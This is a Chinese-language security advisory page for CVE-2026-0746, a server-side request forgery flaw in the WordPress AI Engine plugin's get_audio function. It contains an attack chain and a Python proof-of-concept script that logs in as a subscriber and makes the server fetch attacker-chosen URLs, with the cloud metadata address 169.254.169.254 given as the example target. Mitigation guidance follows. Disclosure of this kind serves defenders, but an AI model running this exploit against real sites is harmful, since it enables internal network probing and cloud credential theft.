IPBUF安全漏洞报告
English
CVE-2026-0746 CVSS 6.4 中危

CVE-2026-0746 WordPress AI Engine插件服务器端请求伪造漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2026-0746
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress AI Engine插件

相关标签

服务器端请求伪造SSRFWordPress插件漏洞AI Engine认证用户漏洞CVE-2026-0746CVSS 6.4中危漏洞

漏洞概述

CVE-2026-0746是WordPress AI Engine插件中的一个服务器端请求伪造(SSRF)漏洞。该插件是WordPress平台上广受欢迎的AI功能增强工具,为网站提供智能聊天、图像生成、音频处理等功能。漏洞存在于插件的get_audio函数中,影响所有版本直至3.3.2。攻击者利用此漏洞需要具备订阅者级别(Subscriber)或更高的用户权限,这意味着任何已注册用户都可能成为潜在攻击者。漏洞的利用条件还包括插件设置中启用"Public API",以及服务器端PHP配置中allow_url_fopen设置为On。在满足这些条件的情况下,攻击者可以迫使目标Web应用程序向任意指定位置发起HTTP请求,从而实现对内部服务的探测和数据窃取,包括查询和修改内部数据库信息、访问云服务元数据接口、扫描内网服务等危险操作。由于攻击流量源自受信任的服务器,可绕过防火墙等边界防护设备,显著增加了攻击的成功率和危害程度。

技术细节

漏洞根源在于WordPress AI Engine插件的get_audio函数缺乏对用户输入的有效验证和过滤。攻击者可以通过构造恶意的URL参数,指定任意内部或外部资源地址。函数在处理音频请求时,会直接使用用户提供的URL调用file_get_contents()或类似的文件读取函数,配合allow_url_fopen配置实现远程资源访问。当插件启用Public API后,API端点对所有认证用户开放,攻击者无需管理员权限即可发起请求。攻击流程:首先攻击者以订阅者身份登录WordPress站点,然后通过API向get_audio函数发送包含恶意URL的请求。服务器端接收到请求后,会以服务器身份向指定URL发起请求,将响应内容返回给攻击者。攻击者利用此机制可以探测内网服务(如http://localhost:6379访问Redis服务)、获取云平台元数据(如AWS 169.254.169.254)、读取本地文件(file://协议)等。修复方案需要开发者在get_audio函数中添加严格的URL白名单验证,对用户输入进行URL编码和协议检查,并限制可访问的域名范围。

攻击链分析

STEP 1
1
攻击者获取WordPress订阅者级别账户或通过其他方式成为注册用户
STEP 2
2
攻击者访问启用了Public API的WordPress站点
STEP 3
3
攻击者构造恶意请求,向get_audio函数的AJAX端点发送包含SSRF payload的请求
STEP 4
4
目标服务器以自身身份向攻击者指定的URL(如内网地址、云元数据接口等)发起HTTP请求
STEP 5
5
攻击者接收服务器返回的内部服务响应数据,实现信息探测或数据窃取
STEP 6
6
利用获取的信息进一步实施横向移动或更深层次的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-0746 PoC - WordPress AI Engine SSRF # Target: WordPress site with AI Engine plugin <= 3.3.2 def exploit_ssrf(target_url, attacker_controlled_url): """ Exploit SSRF vulnerability in AI Engine plugin's get_audio function Args: target_url: Target WordPress site URL attacker_controlled_url: URL controlled by attacker to receive SSRF requests """ # WordPress login to get authentication cookie login_url = f"{target_url}/wp-login.php" login_data = { 'log': 'subscriber_user', # Subscriber-level account 'pwd': 'subscriber_password', 'wp-submit': 'Log In', 'redirect_to': target_url } session = requests.Session() login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful as subscriber") # Exploit SSRF via get_audio function exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'ai_engine_get_audio', # Plugin AJAX action 'audio_url': attacker_controlled_url, # SSRF payload 'nonce': '' # May need valid nonce if available } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[+] SSRF request sent to: {attacker_controlled_url}") print(f"[+] Response: {response.text[:200]}") return True return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <ssrf_url>") print("Example: python exploit.py http://victim.com http://169.254.169.254/latest/meta-data/") sys.exit(1) target = sys.argv[1] ssrf_target = sys.argv[2] exploit_ssrf(target, ssrf_target)

影响范围

AI Engine plugin for WordPress <= 3.3.2

防御指南

临时缓解措施
立即临时措施:1)禁用AI Engine插件的Public API功能;2)在php.ini中设置allow_url_fopen=Off;3)使用防火墙规则限制服务器对外发起请求的范围;4)审查并限制订阅者角色的权限;5)监控日志中的异常AJAX请求模式。长期修复:升级到插件开发者发布的安全版本,并在代码层面实现输入验证和URL白名单机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表